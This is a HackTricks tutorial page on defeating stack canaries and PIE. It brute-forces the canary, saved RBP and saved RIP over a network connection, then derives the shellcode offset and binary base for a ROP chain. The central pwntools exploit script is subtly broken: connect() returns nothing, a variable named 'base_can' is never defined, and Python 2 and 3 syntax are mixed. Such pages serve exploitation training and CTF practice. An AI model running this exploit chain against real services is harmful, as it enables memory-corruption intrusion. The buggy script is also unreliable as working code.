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118 lines
6.1 KiB
Markdown
118 lines
6.1 KiB
Markdown
# BF Addresses in the Stack
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
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.png>)
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{% hint style="info" %}
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Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
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However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
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{% endhint %}
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## Brute-Force Addresses
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In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
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For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
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{% hint style="success" %}
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It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
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{% endhint %}
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To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
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```python
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from pwn import *
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def connect():
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r = remote("localhost", 8788)
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def get_bf(base):
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canary = ""
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guess = 0x0
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base += canary
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while len(canary) < 8:
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while guess != 0xff:
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r = connect()
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r.recvuntil("Username: ")
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r.send(base + chr(guess))
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if "SOME OUTPUT" in r.clean():
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print "Guessed correct byte:", format(guess, '02x')
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canary += chr(guess)
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base += chr(guess)
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guess = 0x0
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r.close()
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break
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else:
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guess += 1
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r.close()
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print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
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return base
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# CANARY BF HERE
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canary_offset = 1176
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base = "A" * canary_offset
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print("Brute-Forcing canary")
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base_canary = get_bf(base) #Get yunk data + canary
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CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
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# PIE BF FROM HERE
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print("Brute-Forcing RBP")
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base_canary_rbp = get_bf(base_canary)
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RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
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print("Brute-Forcing RIP")
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base_canary_rbp_rip = get_bf(base_canary_rbp)
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RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
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```
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The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
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From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
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```python
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INI_SHELLCODE = RBP - 1152
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```
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From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
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To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
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.png>)
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In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
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```python
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elf.address = RIP - (RIP & 0xfff)
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```
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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